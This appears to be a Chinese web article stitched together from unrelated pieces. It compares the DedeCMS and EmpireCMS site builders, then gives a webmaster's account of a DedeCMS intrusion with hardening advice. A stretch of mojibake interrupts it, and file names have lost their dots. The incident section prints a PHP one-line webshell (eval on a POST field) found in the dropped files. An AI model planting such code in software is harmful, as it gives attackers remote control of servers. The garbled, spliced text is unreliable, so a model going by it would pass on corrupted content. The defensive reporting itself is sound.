dedecms的漏洞:Dedecms的隐患如何预防风险

首先建议你好好学习一下php语法，任何一个网站程序都有很大的漏洞，正如微软每过一段时间都要发布漏洞补丁，如果你的技术超过他就不存在漏洞；其次，要做好安全防护，任何一个疏忽都会造成致命打击；最后希望你多多向前辈请教，也希望你尽快渡过难关

接触帝国CMS和织梦dedecms有一段时间了。我们公司做站，无论是竞价站，推广站还是优化站，基本用的都是dedecms，因为不需要会员系统，所以也基本没多少安全性问题，但是很少用帝国cms。而我自己做站，因为考虑到安全问题，所以就选择了帝国。最初，我也是不太了解两者的区别，当时抉择了很久，不过幸运的是，我的选择没错。相信也有很多新手朋友在徘徊吧，今天爱建站公益网就把个人经验和大家分享下，以免新手朋友多走弯路。

　　入手：从入手方面来说，的确，织梦更占优势，简单易用，功能齐全的确是大家都看得到感觉的到的，我就不多说了。帝国相对来说入手难些，有灵动标签和万能标签以及其他标签之分，也分各种模板、模板变量等等，比织梦复杂的多，而且模板是写在数据库里，所以入手帝国的模板，估计很多新手朋友感觉不太适应。

　　做站的效率：对于新手来说，织梦套模板似乎更简单，而帝国可能需要熟悉万能和灵动标签用法，里面很多数字排列，相对难记，小编到现在还有些标签没完全记住，只是知道这个用法，有时还会需要去参考下才敢写，这样也就使得帝国做模板效率低了些，可能有的朋友做套简单的织梦模板一会就搞好了，但是帝国却要做几倍的时间。但这只是对于刚接触帝国的新手朋友而已，如果熟悉了帝国系统，你会发现做模板的效率不比织梦差多少。我现在接单很多客户都是要求用帝国做，一个简单仿站的单，单独去做真的最多几个小时就好了。我记得有次帮一个朋友做手机站(他提供html模板，我套标签)，整站下来，大概7个页面吧，还有一个单独做的搜索页面，一共只用了2个小时左右。可以看得出来，熟悉以后还是很不错的。

　　交接：这个主要针对特殊人群，比如像我们公司，四个点的站可能我们几个程序都要去修改，织梦无论是后台修改模板还是直接ftp传下来文件修改都是很简单明了的。但是帝国就不一样了，自己做的帝国站自己最熟悉，但是其他人接过去就先要熟悉你整站的思路，哪部分用的什么变量，哪里用的灵动标签，哪里用的万能标签，用灵动标签还好点，不涉及标签模板，如果是用万能标签，那又要蛋疼了，如果修改的东西在标签模板里，还要去找所在的标签模板，总之熟悉起来还是要点时间的。

　　安全性：这个织梦真心没法和帝国比，织梦频繁更新各种安全补丁，但是帝国就是没爆什么漏洞，而且帝国模板都是存放在数据库，所以也不会存在被下载的问题，织梦就不同了，往往模板会被轻松地访问到。

　　生成：感觉织梦用来做一些企业站还是很好的，但是用来做信息量大的门户站之类的，真不行，信息量多了以后，生成速度比帝国慢很多，而且很多朋友都反应信息量多了，织梦程序都要崩溃了，生成整站需要一天的情况都有。

�谌莺苌伲�赡苄慈氲氖焙虿皇呛芊奖悖�还�庑┐�氲淖饔萌肥挡恍〉摹�edecms一直是很火的建站cms，主要得益于两大站长网的鼎力支持；不过，人火是非多，cms太火了同样会被别有用心的人盯上。我的网站一直在使用dedecms，前段时间又一次受到攻击，攻击的目的很简单，那么便是黑链，知道后稍微修改下代码就恢复了，不是很严重；这段时间网站又被莫名上传文件，类似前一次，虽然对方还没来得及修改网站模板，不过这说明网站安全防患还未到位，对方任何时候都可能再次取得管理员权限，所以要特别注意网站的安全防患措施。因为我比较喜欢寻根究底，所以就去网上找了一下相关的资料，发现这确实是dedecms的漏洞，黑客可以利用多维的变量绕过正则检测，漏洞主要发生在/plus/mytag_jsphp中，原理便是准备一个MySQL数据库来攻击已知网站的数据库，通过向数据库中写入一句话的代码，只要成功写入，那么以后便可以利用这些代码来获得后台管理员权限。结合我的网站被攻击已经别人类似的经历来看，黑客写入的文件主要存在于/plus/文件夹下，目前已知的几个文件包括gaphp、logphp、bphp、b1php等，文件的特征便是短小，内容很少，可能写入的时候不是很方便，不过这些代码的作用确实不小的。下面这是gaphp文件中的部分代码：<title>login</title>no<phpeval($_POST[1])><title>login</title>no<phpeval($_POST[1])><title>login</title>no<phpeval($_POST[1])>实际的代码比上面截取的要长，不过都是这段代码的重复，至于logphp的代码，同这个类似，只有一句话，简单明了，如果你对网络安全稍有了解，那么会知道<php eval($_POST[1]);>是php一句话木马，使用部分指定的工具可以执行这段代码，预计是破解密码的功能。既然已经知道对方是利用什么样的漏洞，同时知道对方利用什么样的原理来利用漏洞，那么要怎么预防这些危险的事发生呢？经过查询大量的资料，我初步整理出下面这些预防漏洞被利用的步骤，希望对同样适用dedecms的站长朋友们有所帮助。一、升级版本打好补丁设置目录权限这是官方对此的解决办法，不管你使用的是什么版本的dedecms，都要及时在后台升级版本自动更新补丁，这是避免漏洞被利用的最重要的一步；同时官方还提供设置目录的方法，主要是设置data、templets、uploads、a为可读写不可执行权限；include、member、plus、后台管理目录等设置为可执行可读不可写入权限；删除install及special目录，具体如何设置见官方说明。二、修改admin账号及密码黑客可能是利用默认admin账号，随后推测密码来破解的，所以修改默认的admin账号非常重要，至于如何修改，方法很多，比较有效的是用phpadmin登陆网站数据库，找到dede_admin数据库表（dede是数据库表前缀），修改其中userid及pwd两项，其中密码一定要修改成f297a57a5a743894a0e4，这是默认的密码admin；修改后去后台登陆，登陆dede后台后修改密码。三、别的值得注意的地方至于更多的细节，同样要注意，尽量别选择太廉价的空间，太廉价的空间很容易出现服务器本身的安全问题，只要服务器出现问题，整个服务器下面的网站都没救了。还有便是，如果没必要，尽量别开通会员注册什么的，使用起来很麻烦；至于网站后台目录，不要写到robotstxt里面，同时每个月至少换一次，管理员密码什么的同样要更换，避免和别的账号密码相同被推测出来。